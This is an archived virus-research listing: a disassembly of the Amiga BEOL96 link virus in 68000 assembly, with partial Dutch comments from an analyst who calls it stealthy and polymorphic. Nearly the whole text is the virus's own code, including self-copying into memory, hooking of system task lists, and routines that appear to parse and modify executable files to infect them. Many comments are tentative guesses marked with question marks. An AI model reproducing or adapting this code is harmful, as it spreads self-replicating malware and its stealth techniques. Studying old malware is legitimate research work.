home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / Beol_LinkVirus / beol96.mem2.asm < prev    next >
Assembly Source File  |  2013-04-13  |  22KB  |  825 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. CHK        EQU    $18
  6. EXT_0002    EQU    $3F2
  7. EXT_0003    EQU    $400
  8. EXT_0004    EQU    $600
  9. EXT_0005    EQU    $DFF007
  10.  
  11.     ; BEOL96 Stealth en Polymorph, laatste al ontdekt na download uit mem
  12.     ; eerste ontdekt na dissassemble...
  13.  
  14.  
  15.     SECTION S_0,CODE
  16.  
  17. SECSTRT_0:
  18.     LEA    PatchWait(PC),A0    ;000: 41FA018C    haal begin virus routine op???
  19.     MOVE.L    (A0),D0            ;004: 2010
  20. LAB_0001:
  21.     SUBQ    #2,A0            ;006: 5548
  22.     CMP.L    (A0),D0            ;008: B090    virus aanwezig??
  23.     BNE.S    LAB_0001        ;00A: 66FA    nope, opnieuw
  24.     MOVE    #$4EF9,(A0)        ;00C: 30BC4EF9    $4EF9 ook in beol3
  25.     MOVE.L    -(A0),D2        ;010: 2420
  26.     LSL.L    #2,D2            ;012: E58A    maak adres van
  27.     ADDQ.L    #4,D2            ;014: 5882    voeg 4 bij
  28.     MOVE.L    D2,6(A0)        ;016: 21420006    copieer aangepaste troep naar geheugen plaats (stealth/poly)
  29.     MOVEA.L    D2,A0            ;01A: 2042    copieer adres naar A0 reg
  30.     EORI    #$39EF,(A0)        ;01C: 0A5039EF    
  31.     LEA    SECSTRT_0(PC),A1    ;020: 43FAFFDE    begin van deze routine ophalen
  32.     MOVEA.L    58(A6),A0        ;024: 206E003A    A6=ABSEXECBASE??? => copieer adres van system stack lower part
  33.     MOVE    #$037A,D7        ;028: 3E3C037A  890 in D7 (lengte van routine?)
  34. LAB_0002:
  35.     MOVE    (A1)+,(A0)+        ;02C: 30D9    copieer byte van prog naar lower stack??
  36.     DBF    D7,LAB_0002        ;02E: 51CFFFFC  voer 890 maal uit
  37.     PEA    -1400(A0)        ;032: 4868FA88
  38.     JMP    _LVOCacheClearU(A6)    ;036: 4EEEFD84    CacheClearU() (v37+)
  39.     DC.B    'BEOL96'        ;03A
  40.     EOR.B    D2,D0            ;040: B500
  41.     RTS                ;042: 4E75
  42.     SUB.B    D2,D0            ;044: 9002
  43.     RTS                ;046: 4E75
  44.     ROR.B    #3,D0            ;048: E618
  45.     RTS                ;04A: 4E75
  46.     ADD.B    D2,D0            ;04C: D002
  47.     RTS                ;04E: 4E75
  48.     DC.W    $180C            ;050
  49.     BTST    D7,(A5)            ;052: 0F15
  50.     BTST    D7,(A0)+        ;054: 0F18
  51.     DC.W    $040D            ;056
  52.     MOVE.B    (A0),D0            ;058: 1010
  53.     DC.W    $110A            ;05A
  54.     ROXL.B    #1,D1            ;05C: E311
  55.     DC.W    $06E4            ;05E
  56.     MOVE.B    D4,-(A0)        ;060: 1104
  57.     LSL.B    #4,D5            ;062: E90D
  58.     MOVE.B    3331(A0),(A1)+        ;064: 12E80D03
  59.     MOVEP    4112(A1),D1        ;068: 03091010
  60.     DC.W    $0203            ;06C
  61.     ROL.B    #3,D0            ;06E: E718
  62.     MOVEP    784(A1),D1        ;070: 03090310
  63.     OR.B    (A2),D0            ;074: 8012
  64.     ADDX.B    D0,D0            ;076: D100
  65.     DC.W    $041C            ;078
  66.     DC.W    $0A13            ;07A
  67.     MOVEP    16890(A1),D0        ;07C: 010941FA
  68.     DC.W    $0E00            ;080
  69.     MOVEP    16890(A1),D0        ;082: 010941FA
  70.     DC.W    $0F0C            ;086
  71.     BCHG    D4,(A1)            ;088: 0951
  72.     OR.B    D1,D4            ;08A: 8801
  73.     BCHG    D4,D1            ;08C: 0941
  74.     DC.W    $FA10            ;08E
  75.     DC.W    $0C09            ;090
  76.     ADDQ.L    #8,A0            ;092: 5088
  77.     DC.W    $0448            ;094
  78.     MOVEQ    #14,D5            ;096: 7A0E
  79.     DC.W    $0109            ;098
  80.     MOVEA.L    (A7)+,A0        ;09A: 205F    copieer stack pointer
  81.     DC.W    $0004            ;09C
  82.     MOVE.B    (A3)+,-(A0)        ;09E: 111B
  83.     MOVE.L    D1,-(A3)        ;0A0: 2701
  84.     DC.W    $0841            ;0A2
  85.     DC.W    $F804            ;0A4
  86.     DC.W    $077F            ;0A6
  87.     BTST    D1,D2            ;0A8: 0302
  88.     DC.W    $0820            ;0AA
  89.     DC.W    $0800            ;0AC
  90.     DC.W    $0548            ;0AE
  91.     MOVEQ    #7,D4            ;0B0: 7807
  92.     DC.W    $7F01            ;0B2
  93.     DC.W    $0220            ;0B4
  94.     MOVE.B    D0,-(A7)        ;0B6: 1F00
  95.     BTST    D0,D2            ;0B8: 0102
  96.     MOVE    #$0B06,D0        ;0BA: 303C0B06
  97.     DC.W    $077F            ;0BE
  98.     DC.W    $0C02            ;0C0
  99.     SUBQ    #8,D0            ;0C2: 5140
  100.     BTST    D0,D2            ;0C4: 0102
  101.     MOVE    #$0607,D0        ;0C6: 303C0607
  102.     DC.W    $7F02            ;0CA
  103.     DC.W    $0206            ;0CC
  104.     NEGX.B    D7            ;0CE: 4007
  105. LAB_0003:
  106.     OR.L    D5,D0            ;0D0: 8085
  107.     OR.L    D2,-(A7)        ;0D2: 85A7
  108.     DC.W    $CC09            ;0D4
  109.     DC.W    $7D2F            ;0D6
  110.     ADDQ.B    #8,D7            ;0D8: 5007
  111.     DC.W    $0409            ;0DA
  112.     MOVE.B    (A7)+,-(A2)        ;0DC: 151F
  113.     DC.W    $0209            ;0DE
  114.     ADDQ    #1,A0            ;0E0: 5248
  115.     DC.W    $0002            ;0E2
  116.     MOVEP.L    20484(A0),D4        ;0E4: 09485004
  117.     ADDQ.L    #1,(A7)            ;0E8: 5297
  118.     DC.W    $0109            ;0EA
  119.     MOVEA.L    (A7)+,A0        ;0EC: 205F
  120.     DC.W    $0001            ;0EE
  121.     DC.W    $0370            ;0F0
  122.     BTST    D0,D3            ;0F2: 0103
  123.     BTST    D4,D3            ;0F4: 0903
  124.     ADDA    D0,A0            ;0F6: D0C0
  125.     DC.W    $0003            ;0F8
  126.     MOVEP    4120(A1),D1        ;0FA: 03091018
  127.     DC.W    $0027            ;0FE
  128.     DC.W    $0409            ;100
  129.     MOVE.B    (A1),-(A0)        ;102: 1111
  130.     DC.W    $0202            ;104
  131.     DC.W    $51C8            ;106
  132.     DC.W    $0A02            ;108
  133.     ANDI    #$4004,(A3)        ;10A: 02534004
  134.     DC.W    $6A00            ;10E
  135.     DC.W    $0A02            ;110
  136.     DC.W    $024A            ;112
  137.     NEGX.B    D4            ;114: 4004
  138.     BEQ.S    LAB_0004+2        ;116: 6706
  139.     DC.W    $0202            ;118
  140.     SUBQ    #1,D0            ;11A: 5340
  141. LAB_0004:
  142.     SUBI    #$000A,-(A0)        ;11C: 0460000A
  143.     AND.B    D4,D0            ;120: C004
  144.     BTST    D7,(A3)+        ;122: 0F1B
  145.     MOVE.L    D5,-(A3)        ;124: 2705
  146.     PEA    LAB_0005(PC)        ;126: 487A0006
  147.     DC.W    $054E            ;12A
  148.     DC.W    $EEFD            ;12C
  149. LAB_0005:
  150.     OR.B    D0,D2            ;12E: 8400
  151.     BTST    D0,D7            ;130: 0107
  152.     LEA    1789(A6),A0        ;132: 41EE06FD
  153.     OR.B    D2,D2            ;136: 8402
  154.     DC.W    $074E            ;138
  155.     DC.W    $A807            ;13A
  156.     BTST    D0,D1            ;13C: 0101
  157.     MOVE    #$08FD,D0        ;13E: 303C08FD
  158.     OR.B    D4,D2            ;142: 8404
  159.     DC.W    $4EB6            ;144
  160.     BTST    D4,D1            ;146: 0901
  161.     DC.W    $054E            ;148
  162.     DC.W    $AEFD            ;14A
  163.     OR.B    D0,D2            ;14C: 8400
  164.     DC.W    $040A            ;14E
  165.     MOVE.B    -(A4),D4        ;150: 1824
  166.     BTST    D2,30720(A4)        ;152: 052C7800
  167.     DC.W    $0400            ;156
  168.     BTST    D0,D0            ;158: 0100
  169.     MOVEQ    #4,D0            ;15A: 7004
  170.     BTST    D1,D6            ;15C: 0306
  171.     DC.W    $0020            ;15E
  172.     NEGX.B    D2            ;160: 4002
  173.     DC.W    $062C            ;162
  174.     ADDQ.B    #8,D0            ;164: 5000
  175.     BTST    D0,D0            ;166: 0100
  176.     MOVE.L    (EXT_0003).W,D0        ;168: 20380400
  177.     SUBI.B    #$2C,D2            ;16C: 0402002C
  178.     NEGX.B    D0            ;170: 4000
  179.     BTST    D0,D6            ;172: 0106
  180.     LEA    (EXT_0004).W,A0        ;174: 41F80600
  181.     DC.W    $0402            ;178
  182.     DC.W    $062C            ;17A
  183.     DC.W    $6807            ;17C
  184.     BSR.S    PatchWait        ;17E: 610E
  185.     LEA    56(A7),A0        ;180: 41EF0038
  186.     MOVEA.L    (A0),A6            ;184: 2C50
  187.     MOVE.L    D2,(A0)            ;186: 2082
  188.     MOVEM.L    (A7)+,D0-D7/A0-A5    ;188: 4CDF3FFF
  189.     RTS                ;18C: 4E75
  190. PatchWait:
  191.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;18E: 48E7FFFE    save registers op stack
  192.     JSR    _LVOForbid()(A6)    ;192: 4EAEFF7C    A6=ABSEXECBASE?? -> Acces stop
  193.     MOVEQ    #13,D1            ;196: 720D    D1=13
  194.     LEA    LAB_000A(PC),A1        ;198: 43FA002A
  195.     MOVEA.L    420(A6),A0        ;19C: 206E01A4    taskwait:ARRAY OF lh -> A0
  196.     BSR.S    LAB_0008        ;1A0: 6110
  197.     MOVEA.L    406(A6),A0        ;1A2: 206E0196    taskready:ARRAY OF lh -> A0
  198.     BSR.S    LAB_0008        ;1A6: 610A
  199.     JSR    _LVOPermit(A6)        ;1A8: 4EAEFF76    iedereen mag weer naar binnen
  200.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;1AC: 4CDF7FFF    registers terug, net alsof er niets is gebeurd :)
  201. LAB_0007:
  202.     RTS                ;1B0: 4E75    exit
  203. LAB_0008:
  204.     TST.L    (A0)            ;1B2: 4A90    
  205.     BEQ.S    LAB_0007        ;1B4: 67FA    Z flag gezet, exit
  206.     CMP.B    8(A0),D1        ;1B6: B2280008    tailpred:PTR TO ln -> type is 13?
  207.     BNE.S    LAB_0009        ;1BA: 6604    nee
  208.     MOVE.L    A1,180(A0)        ;1BC: 214900B4    ja, copieer LAB_000A naar ...???
  209. LAB_0009:
  210.     MOVEA.L    (A0),A0            ;1C0: 2050    reset???
  211.     BRA.S    LAB_0008        ;1C2: 60EE    opnieuw
  212. LAB_000A:
  213.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;1C4: 48E77FFE    registers opslaan
  214.     MOVEA.L    (ABSEXECBASE).W,A6    ;1C8: 2C780004
  215.     MOVEA.L    276(A6),A3        ;1CC: 266E0114    thistask:PTR TO tc ->A3
  216.     LEA    70(A3),A3        ;1D0: 47EB0046    laad launch:LONG adres naar A3
  217.     BSR    LAB_0033        ;1D4: 610002D0
  218.     MOVEA.L    D0,A5            ;1D8: 2A40
  219.     LEA    ($18).W,A4        ;1DA: 49F80018
  220.     ADDA.L    10(A5),A4        ;1DE: D9ED000A
  221.     BSR.S    PatchWait        ;1E2: 61AA
  222.     NOT.B    9(A5)            ;1E4: 462D0009
  223.     BMI.S    LAB_000F        ;1E8: 6B3E
  224.     MOVE.L    -20(A4),D6        ;1EA: 2C2CFFEC
  225.     MOVEA.L    D6,A0            ;1EE: 2046
  226.     TST.L    96(A0)            ;1F0: 4AA80060
  227.     BNE.S    LAB_000F        ;1F4: 6632
  228.     MOVE.L    -16(A4),D0        ;1F6: 202CFFF0
  229.     BSR.S    LAB_000C        ;1FA: 611E
  230.     DC.W    $040A            ;1FC
  231.     DC.W    $0032            ;1FE
  232.     BSET    D1,330(A7)        ;200: 03EF014A
  233.     BSET    D1,164(A5)        ;204: 03ED00A4
  234.     ORI    #$0150,(A2)        ;208: 00520150
  235.     ORI.B    #$22,(A0)+        ;20C: 00180022
  236.     ORI.B    #$1E,(A7)        ;210: 0017001E
  237. LAB_000B:
  238.     ADDA    (A0),A0            ;214: D0D0
  239.     JSR    (A0)            ;216: 4E90
  240.     BRA.S    LAB_000E        ;218: 600A
  241. LAB_000C:
  242.     MOVEA.L    (A7)+,A0        ;21A: 205F
  243. LAB_000D:
  244.     CMP    (A0)+,D0        ;21C: B058
  245.     BEQ.S    LAB_000B        ;21E: 67F4
  246.     MOVEA    (A0)+,A1        ;220: 3258
  247.     BLT.S    LAB_000D        ;222: 6DF8
  248. LAB_000E:
  249.     CLR.B    9(A5)            ;224: 422D0009
  250. LAB_000F:
  251.     MOVE.L    A5,D0            ;228: 200D
  252.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;22A: 4CDF7FFE
  253.     RTS                ;22E: 4E75
  254.     SUBA.L    A0,A0            ;230: 91C8
  255.     MOVE.L    102(A3),D0        ;232: 202B0066
  256.     LSL.L    #2,D0            ;236: E588
  257.     BEQ.S    LAB_0016        ;238: 6760
  258.     MOVE.L    16(A0,D0.L),D0        ;23A: 20300810
  259.     LSL.L    #2,D0            ;23E: E588
  260.     BEQ.S    LAB_0016        ;240: 6758
  261.     MOVEA.L    D0,A0            ;242: 2040
  262.     MOVEQ    #0,D0            ;244: 7000
  263.     MOVE.B    (A0)+,D0        ;246: 1018
  264.     ADDA    D0,A0            ;248: D0C0
  265.     BSR.S    LAB_0011        ;24A: 6114
  266.     BCLR    D1,-(A0)        ;24C: 03A0
  267.     SUB    A0,D4            ;24E: 9848
  268.     BRA.S    LAB_0010        ;250: 6002
  269.     SUB    A0,D0            ;252: 9048
  270. LAB_0010:
  271.     MOVE.L    A0,D0            ;254: 2008
  272.     NEGX.B    (A0)+            ;256: 4018
  273.     MOVEQ    #40,D0            ;258: 7028
  274.     DC.W    $1058            ;25A
  275.     DC.W    $9078            ;25C
  276.     DC.W    $B8FF            ;25E
  277. LAB_0011:
  278.     MOVEA.L    (A7)+,A1        ;260: 225F
  279.     BRA.S    LAB_0013        ;262: 6002
  280. LAB_0012:
  281.     ADDA    D7,A1            ;264: D2C7
  282. LAB_0013:
  283.     MOVEQ    #0,D7            ;266: 7E00
  284.     MOVE.B    (A1)+,D7        ;268: 1E19
  285.     BMI.S    LAB_0016        ;26A: 6B2E
  286.     MOVEA.L    A0,A2            ;26C: 2448
  287. LAB_0014:
  288.     MOVE.B    -(A2),D0        ;26E: 1022
  289.     LSL.B    #3,D0            ;270: E708
  290.     CMP.B    (A1)+,D0        ;272: B019
  291.     BNE.S    LAB_0012        ;274: 66EE
  292.     DBF    D7,LAB_0014        ;276: 51CFFFF6
  293.     MOVEQ    #36,D0            ;27A: 7024
  294.     ADD.L    (A4),D0            ;27C: D094
  295.     LSL.L    #2,D0            ;27E: E588
  296.     MOVEA.L    D0,A0            ;280: 2040
  297.     MOVEA.L    A0,A1            ;282: 2248
  298.     BSR.S    LAB_0017        ;284: 6116
  299.     BNE.S    LAB_0016        ;286: 6612
  300.     ADDA    D0,A0            ;288: D0C0
  301.     MOVEQ    #3,D7            ;28A: 7E03
  302. LAB_0015:
  303.     MOVE.B    (A0)+,D0        ;28C: 1018
  304.     ROR    #8,D0            ;28E: E058
  305.     DBF    D7,LAB_0015        ;290: 51CFFFFA
  306.     BEQ.S    LAB_0016        ;294: 6704
  307.     MOVE.L    D0,-20(A1)        ;296: 2340FFEC
  308. LAB_0016:
  309.     RTS                ;29A: 4E75
  310. LAB_0017:
  311.     MOVEQ    #0,D0            ;29C: 7000
  312.     MOVE.B    (A0),D0            ;29E: 1010
  313.     SUBQ    #4,D0            ;2A0: 5940
  314.     BLT.S    LAB_0018        ;2A2: 6D04
  315.     TST.B    1(A0,D0.W)        ;2A4: 4A300001
  316. LAB_0018:
  317.     RTS                ;2A8: 4E75
  318.     BSR    LAB_0021        ;2AA: 6100008C
  319.     TST.L    -12(A4)            ;2AE: 4AACFFF4
  320.     BEQ.S    LAB_0018        ;2B2: 67F4
  321.     MOVEQ    #65,D0            ;2B4: 7041
  322.     LSL.L    #2,D0            ;2B6: E588
  323.     MOVEQ    #1,D1            ;2B8: 7201
  324.     JSR    _LVOCacheControl(A6)    ;2BA: 4EAEFD54
  325.     MOVE.L    D0,(A3)            ;2BE: 2680
  326.     BEQ.S    LAB_0018        ;2C0: 67E6
  327.     MOVEA.L    D0,A2            ;2C2: 2440
  328.     LEA    LAB_0036(PC),A0        ;2C4: 41FA0210
  329.     BSR.S    LAB_001E        ;2C8: 6152
  330.     MOVEA.L    124(A2),A0        ;2CA: 206A007C
  331.     SUBQ    #3,124(A2)        ;2CE: 576A007C
  332.     BGE.S    LAB_0019        ;2D2: 6C02
  333.     ADDQ    #8,D5            ;2D4: 5045
  334. LAB_0019:
  335.     BGE.S    LAB_0021        ;2D6: 6C60
  336.     MOVE.L    A0,D5            ;2D8: 2A08
  337.     ADDA    #$0802,A0        ;2DA: D0FC0802
  338.     MOVE.L    A0,D0            ;2DE: 2008
  339.     MOVEQ    #1,D1            ;2E0: 7201
  340.     JSR    _LVOAllocVec(A6)    ;2E2: 4EAEFD54
  341.     MOVE.L    D0,(A2)+        ;2E6: 24C0
  342.     MOVE.L    D5,(A2)            ;2E8: 2485
  343.     ADD.L    D0,(A2)+        ;2EA: D19A
  344.     MOVE.L    D0,(A2)+        ;2EC: 24C0
  345.     BEQ.S    LAB_001A        ;2EE: 6706
  346.     LEA    132(A2),A0        ;2F0: 41EA0084
  347.     BSR.S    LAB_0017        ;2F4: 61A6
  348. LAB_001A:
  349.     BEQ.S    LAB_0021        ;2F6: 6740
  350.     ADDQ.B    #4,(A0)            ;2F8: 5810
  351.     LEA    5(A0,D0.W),A1        ;2FA: 43F00005
  352.     CLR.B    (A1)+            ;2FE: 4219
  353. LAB_001B:
  354.     MOVE.B    D5,(A1)+        ;300: 12C5
  355.     LSR.L    #8,D5            ;302: E08D
  356.     BNE.S    LAB_001B        ;304: 66FA
  357.     MOVE.L    D4,(A2)+        ;306: 24C4
  358.     MOVE.L    4(A4),D0        ;308: 202C0004
  359.     LSL.L    #2,D0            ;30C: E588
  360.     MOVEA.L    D0,A0            ;30E: 2040
  361.     MOVE.B    (A0)+,D0        ;310: 1018
  362.     MOVE.B    D0,(A2)+        ;312: 14C0
  363. LAB_001C:
  364.     MOVE.B    (A0)+,(A2)+        ;314: 14D8
  365.     SUBQ.B    #1,D0            ;316: 5300
  366.     BGT.S    LAB_001C        ;318: 6EFA
  367. LAB_001D:
  368.     RTS                ;31A: 4E75
  369. LAB_001E:
  370.     LEA    16(A4),A1        ;31C: 43EC0010
  371.     MOVEQ    #9,D1            ;320: 7209
  372. LAB_001F:
  373.     MOVE.L    -(A1),-(A7)        ;322: 2F21
  374.     DBF    D1,LAB_001F        ;324: 51C9FFFC
  375.     JSR    (A0)            ;328: 4E90
  376.     LEA    -24(A4),A1        ;32A: 43ECFFE8
  377.     MOVEQ    #9,D1            ;32E: 7209
  378. LAB_0020:
  379.     MOVE.L    (A7)+,(A1)+        ;330: 22DF
  380.     DBF    D1,LAB_0020        ;332: 51C9FFFC
  381.     RTS                ;336: 4E75
  382. LAB_0021:
  383.     MOVE.L    (A3),D0            ;338: 2013
  384.     BEQ.S    LAB_001D        ;33A: 67DE
  385.     SUBA.L    A1,A1            ;33C: 93C9
  386.     MOVEA.L    8(A1,D0.L),A1        ;33E: 22710808
  387.     BSR.S    LAB_0022        ;342: 6104
  388.     MOVEA.L    (A3),A1            ;344: 2253
  389.     CLR.L    (A3)            ;346: 4293
  390. LAB_0022:
  391.     JMP    -690(A6)        ;348: 4EEEFD4E
  392.     MOVE.L    (A3),D0            ;34C: 2013
  393.     BEQ.S    LAB_0021        ;34E: 67E8
  394.     MOVEA.L    D0,A2            ;350: 2440
  395.     LEA    LAB_0034(PC),A0        ;352: 41FA0162
  396.     BSR.S    LAB_001E        ;356: 61C4
  397.     BRA.S    LAB_0021        ;358: 60DE
  398.     MOVE.L    (A3),D0            ;35A: 2013
  399.     BEQ.S    LAB_001D        ;35C: 67BC
  400.     MOVEA.L    D0,A2            ;35E: 2440
  401.     MOVEA.L    (A2)+,A1        ;360: 225A
  402.     MOVE.L    -12(A4),D0        ;362: 202CFFF4
  403.     BEQ.S    LAB_001D        ;366: 67B2
  404.     MOVE.L    D0,D5            ;368: 2A00
  405.     ADDA.L    D0,A1            ;36A: D3C0
  406.     CMPA.L    (A2),A1            ;36C: B3D2
  407.     BGT.S    LAB_0021        ;36E: 6EC8
  408.     MOVE.L    A1,-(A2)        ;370: 2509
  409.     SUBA.L    D0,A1            ;372: 93C0
  410.     MOVEA.L    (A4),A0            ;374: 2054
  411.     JSR    _LVOCopyMem(A6)        ;376: 4EAEFD90
  412.     CMP.L    4(A4),D5        ;37A: BAAC0004    einde van copy naar stack lower
  413.     BEQ.S    LAB_001D        ;37E: 679A
  414.     MOVEA.L    (A2)+,A1        ;380: 225A
  415.     CMPA.L    (A2)+,A1        ;382: B3DA
  416. LAB_0023:
  417.     BNE.S    LAB_0021        ;384: 66B2
  418.     MOVEA.L    (A2),A2            ;386: 2452
  419.     SUBI.L    #$000003F3,(A2)+    ;388: 049A000003F3
  420.     BNE.S    LAB_0021        ;38E: 66A8
  421.     MOVE.L    A1,-(A7)        ;390: 2F09
  422.     MOVE    #$06F5,D5        ;392: 3A3C06F5
  423.     ADDA    #$0702,A1        ;396: D2FC0702
  424.     DC.W    $41FA            ;39A
  425.     BCHG    D1,(A2)+        ;39C: 035A
  426.     BSR    LAB_0039        ;39E: 61000176
  427.     ADDQ    #4,A2            ;3A2: 584A
  428.     MOVEA.L    A2,A0            ;3A4: 204A
  429.     MOVE.L    (A0),D4            ;3A6: 2810
  430.     ADDQ.L    #1,(A0)            ;3A8: 5290
  431.     ADDQ.L    #8,A0            ;3AA: 5088
  432.     ADDQ.L    #1,(A0)+        ;3AC: 5298
  433.     LSL.L    #2,D4            ;3AE: E58C
  434.     ADDA.L    D4,A0            ;3B0: D1C4
  435.     LSR.L    #2,D4            ;3B2: E48C
  436.     MOVEQ    #0,D3            ;3B4: 7600
  437.     MOVEQ    #-8,D7            ;3B6: 7EF8
  438. LAB_0024:
  439.     MOVE.L    (A0)+,D0        ;3B8: 2018
  440.     SUBI    #$03E8,D0        ;3BA: 044003E8
  441.     BPL.S    LAB_0027        ;3BE: 6A04
  442. LAB_0025:
  443.     MOVE.L    (A7)+,D0        ;3C0: 201F
  444. LAB_0026:
  445.     BNE.S    LAB_0023        ;3C2: 66C0
  446. LAB_0027:
  447.     CMPI    #$000B,D0        ;3C4: 0C40000B
  448.     BGE.S    LAB_0025        ;3C8: 6CF6
  449.     MOVE.B    LAB_0028(PC,D0.W),D0    ;3CA: 103B0006
  450.     JMP    LAB_0028(PC,D0.W)    ;3CE: 4EFB0002
  451. LAB_0028:
  452.     DC.W    $440C            ;3D2
  453.     DC.W    $0C4C            ;3D4
  454.     MOVE.L    -4370(A6),(A6)+        ;3D6: 2CEEEEEE
  455.     MOVEA    D4,A4            ;3DA: 3844
  456.     ADDQ.B    #8,D0            ;3DC: 5000
  457.     MOVE.L    (A0)+,D1        ;3DE: 2218
  458.     TST.L    D7            ;3E0: 4A87
  459.     BPL.S    LAB_0029        ;3E2: 6A04
  460.     ADD.L    A0,D7            ;3E4: DE88
  461.     EOR    D2,(A0)            ;3E6: B550
  462. LAB_0029:
  463.     CMPI    #$4E75,2(A0)        ;3E8: 0C684E750002
  464.     BEQ.S    LAB_0025        ;3EE: 67D0
  465.     LSL.L    #2,D1            ;3F0: E589
  466.     ADDA.L    D1,A0            ;3F2: D1C1
  467. LAB_002A:
  468.     TAS    D3            ;3F4: 4AC3
  469.     BEQ.S    LAB_0024        ;3F6: 67C0
  470.     SUBQ    #1,D4            ;3F8: 5344
  471.     BEQ.S    LAB_0025        ;3FA: 67C4
  472.     BRA.S    LAB_0024        ;3FC: 60BA
  473. LAB_002B:
  474.     MOVE.L    (A0)+,D1        ;3FE: 2218
  475.     BEQ.S    LAB_0024        ;400: 67B6
  476.     ADDQ.L    #1,(A0)+        ;402: 5298
  477.     LSL.L    #2,D1            ;404: E589
  478.     ADDA.L    D1,A0            ;406: D1C1
  479.     BRA.S    LAB_002B        ;408: 60F4
  480. LAB_002C:
  481.     MOVE.L    (A0)+,D1        ;40A: 2218
  482.     BEQ.S    LAB_0024        ;40C: 67AA
  483.     LSL.L    #2,D1            ;40E: E589
  484.     LEA    4(A0,D1.L),A0        ;410: 41F01804
  485.     BRA.S    LAB_002C        ;414: 60F4
  486.     MOVE.L    (A0)+,D1        ;416: 2218
  487.     LSL.L    #2,D1            ;418: E589
  488.     ADDA.L    D1,A0            ;41A: D1C1
  489.     BRA.S    LAB_0024        ;41C: 609A
  490.     ADDQ.L    #4,A0            ;41E: 5888
  491.     BRA.S    LAB_002A        ;420: 60D2
  492.     MOVEQ    #0,D3            ;422: 7600
  493.     SUBQ    #1,D4            ;424: 5344
  494.     BNE.S    LAB_0024        ;426: 6690
  495.     MOVE.L    A0,D3            ;428: 2608
  496.     CMP.L    (A7)+,D3        ;42A: B69F
  497.     BNE.S    LAB_0026        ;42C: 6694
  498.     LEA    LAB_002F(PC),A0        ;42E: 41FA004A
  499.     BSR.S    LAB_002D        ;432: 6104
  500.     LEA    LAB_002E(PC),A0        ;434: 41FA0006
  501. LAB_002D:
  502.     BRA    LAB_001E        ;438: 6000FEE2
  503. LAB_002E:
  504.     MOVEQ    #8,D0            ;43C: 7008
  505.     MOVEQ    #-1,D1            ;43E: 72FF
  506.     MOVEM.L    D0-D1,(A4)        ;440: 48D40003
  507.     MOVE    #$03F0,D0        ;444: 303C03F0
  508.     BSR.S    LAB_0031        ;448: 6148
  509.     MOVE.L    A2,(A4)            ;44A: 288A
  510.     MOVEQ    #12,D0            ;44C: 700C
  511.     MOVE.L    D0,4(A4)        ;44E: 29400004
  512.     MOVEQ    #87,D0            ;452: 7057
  513.     BSR.S    LAB_0031        ;454: 613C
  514.     ADDQ    #8,A2            ;456: 504A
  515.     MOVE.L    D5,(A2)            ;458: 2485
  516.     SUB.L    A2,D7            ;45A: 9E8A
  517.     MOVE.L    A2,(A4)            ;45C: 288A
  518.     MOVE.L    D7,4(A4)        ;45E: 29470004
  519.     ADD.L    A2,D7            ;462: DE8A
  520.     BSR.S    LAB_0032        ;464: 6130
  521.     ADDQ    #3,D5            ;466: 5645
  522.     LSL.L    #2,D5            ;468: E58D
  523.     MOVEM.L    D3/D5,(A4)        ;46A: 48D40028
  524.     BSR.S    LAB_0032        ;46E: 6126
  525.     SUB.L    D7,D3            ;470: 9687
  526.     MOVE.L    D7,(A4)            ;472: 2887
  527.     MOVE.L    D3,4(A4)        ;474: 29430004
  528.     BRA.S    LAB_0032        ;478: 601C
  529. LAB_002F:
  530.     MOVEQ    #0,D1            ;47A: 7200
  531. LAB_0030:
  532.     CLR.L    -4(A4)            ;47C: 42ACFFFC
  533.     MOVEQ    #16,D0            ;480: 7010
  534.     ADD.L    (A3),D0            ;482: D093
  535.     MOVEA.L    D0,A0            ;484: 2040
  536.     MOVE.L    -(A0),(A4)        ;486: 28A0
  537.     LSR.L    #2,D0            ;488: E488
  538.     MOVEM.L    D0-D1,4(A4)        ;48A: 48EC00030004
  539.     MOVEQ    #21,D0            ;490: 7015
  540. LAB_0031:
  541.     MOVE    D0,-14(A4)        ;492: 3940FFF2
  542. LAB_0032:
  543.     MOVEA.L    A5,A1            ;496: 224D
  544.     MOVEA.L    D6,A0            ;498: 2046
  545.     PEA    22(A3)            ;49A: 486B0016
  546.     MOVE.L    (A7)+,-20(A4)        ;49E: 295FFFEC
  547.     JSR    _LVOPutMsg(A6)        ;4A2: 4EAEFE92
  548. LAB_0033:
  549.     PEA    22(A3)            ;4A6: 486B0016    ???
  550.     MOVEA.L    (A7),A0            ;4AA: 2057    stack adres naar A0
  551.     JSR    _LVOWaitPort(A6)    ;4AC: 4EAEFE80
  552.     MOVEA.L    (A7)+,A0        ;4B0: 205F    ...
  553.     JMP    _LVOGetMsg(A6)        ;4B2: 4EEEFE8C
  554. LAB_0034:
  555.     MOVE.L    116(A2),D1        ;4B6: 222A0074
  556.     BSR.S    LAB_0030        ;4BA: 61C0
  557.     ADDA    #$0084,A2        ;4BC: D4FC0084
  558.     MOVE.L    A2,8(A4)        ;4C0: 294A0008
  559.     MOVEQ    #34,D0            ;4C4: 7022
  560.     BSR.S    LAB_0031        ;4C6: 61CA
  561.     MOVE.L    A2,D0            ;4C8: 200A
  562.     LSR.L    #2,D0            ;4CA: E488
  563.     ADDQ.L    #3,D0            ;4CC: 5680
  564.     MOVE.L    D0,8(A4)        ;4CE: 29400008
  565.     MOVEQ    #28,D0            ;4D2: 701C
  566. LAB_0035:
  567.     BRA.S    LAB_0031        ;4D4: 60BC
  568. LAB_0036:
  569.     LSR.L    #2,D0            ;4D6: E488
  570.     MOVE.L    -(A4),D1        ;4D8: 2224
  571.     LSL.L    #2,D1            ;4DA: E589
  572.     SUBA.L    A0,A0            ;4DC: 91C8
  573.     MOVE.L    36(A0,D1.L),(A4)+    ;4DE: 28F01824
  574.     MOVE.L    (A4),D4            ;4E2: 2814
  575.     MOVE.L    D0,(A4)            ;4E4: 2880
  576.     MOVE    #$040A,D0        ;4E6: 303C040A
  577.     BSR.S    LAB_0035        ;4EA: 61E8
  578.     MOVE.L    D4,-4(A4)        ;4EC: 2944FFFC
  579.     MOVEQ    #26,D0            ;4F0: 701A
  580.     BSR.S    LAB_0035        ;4F2: 61E0
  581.     LEA    16(A2),A2        ;4F4: 45EA0010
  582.     MOVE.L    (A2),D5            ;4F8: 2A12
